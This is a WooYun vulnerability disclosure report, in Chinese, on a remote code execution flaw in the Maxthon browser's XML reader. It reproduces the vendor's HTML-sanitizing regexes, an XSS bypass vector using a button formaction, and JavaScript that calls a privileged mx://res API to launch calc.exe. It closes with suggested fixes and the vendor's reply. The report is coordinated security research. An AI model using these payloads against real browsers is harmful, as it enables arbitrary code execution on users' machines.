当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0155217

漏洞标题:傲游浏览器远程代码执行(绕过过滤规则)

相关厂商:傲游

漏洞作者: 梧桐雨

提交时间:2015-11-23 14:36

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:远程代码执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-23: 细节已通知厂商并且等待厂商处理中
2015-11-23: 厂商已经确认,细节仅向厂商公开
2015-11-26: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-17: 细节向核心白帽子及相关领域专家公开
2016-01-27: 细节向普通白帽子公开
2016-02-06: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

看了看傲游的过滤规则,虽然很复杂,但是百密一疏,还是有绕过的可能执行远程命令。

详细说明:

升级傲游浏览器到最新版:

1.jpg


根据前面提交过的那么多漏洞,傲游浏览器已经加了一大串的正则:

function r(z, y) {
z = z.replace(/\<script(.*?)\>/ig, '<span style="display:none">');
z = z.replace(/\<script(.*?)$/igm, '<span style="display:none" ');
z = z.replace(/\<\/script\>/ig, "</span>");
z = z.replace(/\<(?:iframe|frameset|applet|style)(.*?)\>/ig, '<span style="display:none">');
z = z.replace(/\<(?:iframe|frameset|applet|style)(.*?)$/igm, '<span style="display:none" ');
z = z.replace(/\<\/(?:iframe|frameset|applet|style)\>/ig, "</span>");
z = z.replace(/\<(?:meta|link|base|frame)(.*?)\>/ig, '<br style="display:none">');
z = z.replace(/\<(?:meta|link|base|frame)(.*?)$/igm, '<br style="display:none" ');
z = z.replace(/(<form[^>]+)action\s*=/ig, '$1 action="javascript:;" act_ion=');
z = z.replace(/(<\S[^>]+on)([a-z]{1,16}?)\s*=/ig, "$1_$2=").replace(/(<a[^>]+)href\s*=(['"]?\s*javascript:)/ig, '$1 href="#" h_ref=$2');
z = z.replace(/(^|\s)allowScriptAccess\=["']always["']/ig, '$1allowScriptAccess="never"');
if (y.baseUrl) {
z = z.replace(/<img ([^>]*?)src(\s*=\s*"([^"]+?)")/ig,
function(B, A, F, E, D, C) {
return '<img src="' + n(E, y) + '" ' + A + "sr_c" + F;
}).replace(/<img ([^>]*?)src(\s*=\s*'([^']+?)')/ig,
function(B, A, F, E, D, C) {
return '<img src="' + n(E, y) + '" ' + A + "sr_c" + F;
});
z = z.replace(/<a ([^>]*?)href(\s*=\s*"([^"]+?)")/ig,
function(B, A, F, E, D, C) {
return '<a href="' + n(E, y) + '" ' + A + "sr_c" + F;
}).replace(/<a ([^>]*?)href(\s*=\s*'([^']+?)')/ig,
function(B, A, F, E, D, C) {
return '<a href="' + n(E, y) + '" ' + A + "sr_c" + F;
});
}
return z;
}
function s(y) {
y = y.replace(/\>/g, "&gt;").replace(/\</g, "&lt;").replace(/\"/g, "&quot;").replace(/\'/g, "&#39;").replace(/\r\n/g, "\n").replace(/\r/g, "").replace(/\n/g, "<br/>");
y = y.replace(/\[size\=.*?\]|\[\/size\]/ig, "");
y = y.replace(/\[font\=([^\]]+)\]|\[\/font\]/ig, "");
y = y.replace(/\[(b|i|u|s)\]([\s\S]*?)\[\/\1\]/igm, "<$1>$2</$1>");
y = y.replace(/\[img=([0-9]+),([0-9]+)\](.*?)\[\/img\]/igm, '<img src="$3" width="$1" height="$2" />');
y = y.replace(/\[img(\=.*?|)\](.*?)\[\/img\]/igm, '<img src="$2" />');
y = y.replace(/\[color\=([#a-z0-9]+)\](.*?)\[\/color\]/igm, '<span style="color:$1">$2</span>');
y = y.replace(/\[url\=\s*(?:javascript:.*?)\](.+?)\[\/url\]/igm, "$1");
y = y.replace(/\[url\=(www\..+?)\](.+?)\[\/url\]/igm, '<a href="http://$1" target="_blank">$2</a>');
y = y.replace(/\[url\=(.+?)\](.+?)\[\/url\]/igm, '<a href="$1" target="_blank">$2</a>');
y = y.replace(/\[url\](\s*javascript:.*?)\[\/url\]/ig, "$1");
y = y.replace(/\[url\](www\..+?)\[\/url\]/ig, '<a href="http://$1" target="_blank">$1</a>');
y = y.replace(/\[url\](.+?)\[\/url\]/ig, '<a href="$1" target="_blank">$1</a>');
y = y.replace(/\[email\](.+?)\[\/email\]/ig, '<a href="mailto:$1" target="_blank">$1</a>');
y = y.replace(/\[email=([a-z0-9@!#$%&'*+\-.\/=?\^_{|}~]+?)\](.+?)\[\/email\]/ig, '<a href="mailto:$1" target="_blank">$2</a>');
y = y.replace(/\[flash\](\S*?)\[\/flash\]/igm, '<embed src="$3" type="application/x-shockwave-flash" allowscriptaccess="never" allowfullscreen="true" />');
y = y.replace(/\[flash\=([0-9]+),([0-9]+)\](\S*?)\[\/flash\]/igm, '<embed src="$3" width="$1" height="$2" type="application/x-shockwave-flash" allowscriptaccess="never" allowfullscreen="true" />');
y = y.replace(/\[\/color\]|\[\/img\]|\[\/size\]|\[\/i\]|\[\/b\]|\[\/url\]|\[\/attach\]/ig, "");
y = y.replace(/\[color\=.*?\]|\[img\=.*?\]|\[size\=.*?\]|\[i\=.*?\]|\[b\]|\[url\=.*?\]|\[attach\]/ig, "");
return y;
}
function u(y) {
return y.replace(/\>/g, "&gt;").replace(/\</g, "&lt;").replace(/\"/g, "&quot;").replace(/\'/g, "&#39;").replace(/\r\n/g, "\n").replace(/\n/g, "<br/>").replace(/\s/g, "&nbsp;");
}
}


大致已经把常规的标签全部过滤了,on系列的事件,<script>等标签基本没戏。但是经过细心的寻找和查证,发现并没有对如下向量进行过滤,导致可以执行js代码:

<form><button formaction="javascript:alert(1)">click</button></form>


我们在http://wutongyu.info/111.xml执行一下:
点击button按钮之后:返回的是一个res域,能调用傲游的特权api

2.jpg


但是调用的时候,发现往期的代码被fix掉了。即:

var s=document.createElement("iframe");s.src="mx://res/notification/";s.onload=function(){s.contentWindow.maxthon.program.Program.launch("C:/windows/system32/calc.exe","")};document.body.appendChild(s);


onload变成了on_load。但是最终还是通过编码的方式绕过了,具体看测试代码。

漏洞证明:

访问http://wutongyu.info/111.xml,点击按钮,其实按钮可以下点功夫,比如诱惑点的文字,设置层级等等,这里我只证明问题存在。
点击按钮弹出calc.exe:

3.jpg

修复方案:

1,加强过滤规则,其实治标不治本,因为html5的引入,太多可能触发的标签,是否应该在浏览器的架构上做一些考虑,比如xml阅读的时候域不为res。
2,在about:reader的时候禁用js。

版权声明:转载请注明来源 梧桐雨@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-23 14:56

厂商回复:

谢谢反馈. 4.4继续补, 新内核中会用其它办法

最新状态:

暂无


漏洞评价:

评价